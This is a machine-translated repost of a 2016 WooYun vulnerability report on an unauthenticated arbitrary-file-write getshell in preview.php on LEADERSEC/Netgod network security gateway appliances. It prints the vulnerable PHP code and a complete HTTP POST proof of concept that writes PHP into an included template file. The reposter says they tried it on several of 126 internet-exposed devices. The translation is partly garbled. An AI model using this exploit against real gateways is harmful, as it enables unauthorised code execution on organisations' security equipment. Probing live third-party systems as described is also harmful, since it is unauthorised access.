Vulnerability LEADERSEC Network Security Gateway-online behavior (audit) equipment System general-purpose Getshell (no login involved in the network Gods & Nets Nebula and other manufacturers) vulnerability verification

About the public network of 126 gateway equipment, tried several units. Login Page

Defect Number: wooyun-2016-171016 Vulnerability title: A Web-based behavior (audit) equipment System general-purpose Getshell (no login involved in the network God & Network Nebula and other manufacturers) related manufacturers: Network God Information Technology (Beijing) Co., Ltd. vulnerability ano_ Tom Certified White hat submission time: 2016-01-19 09:14 public time: 2016-04-11 16:08 Vulnerability Type: Network unauthorized access hazard level: High self-assessment rank:20 vulnerability Status: Vendor has identified the source of the vulnerability:/HTTP Www.wooyun.org, if you have any questions or need help, please contact help@wooyun.orgtags tag: arbitrary command execution

The preview.php file in the root directory has a vulnerability to any content write that can be written directly to the shell.

Code Area

if(isset($_POST[‘previewtxt‘]))
{
$index = $_POST[‘previewtxt‘];
$index = str_replace("&lt;","<",$index);
$index = str_replace("&gt;",">",$index);
$index = stripslashes($index);

$fp = fopen("/usr/hddocs/nsg/template/___index.php","w");
fwrite($fp,$index);
fclose($fp);
require_once("/usr/hddocs/nsg/head_index.php");
require_once("/usr/hddocs/nsg/template/___index.php");
}

The file address written to is template/___index.php.

Proof of vulnerability:

The equipment of the network God Technology

Code Area

网神
POST /preview.php HTTP/1.1
Host: **.**.**.**:8443
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=8b7bf4198d6bccbe7d68fedf3f8287cc
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

previewtxt=<?php phpinfo();?>   

Fix solution:

The PHP function has the relevant security configuration, set access permissions.

Vulnerability LEADERSEC Network Security Gateway-online behavior (audit) equipment System general-purpose Getshell (no login involved in the network Gods & Nets Nebula and other manufacturers) vulnerability verification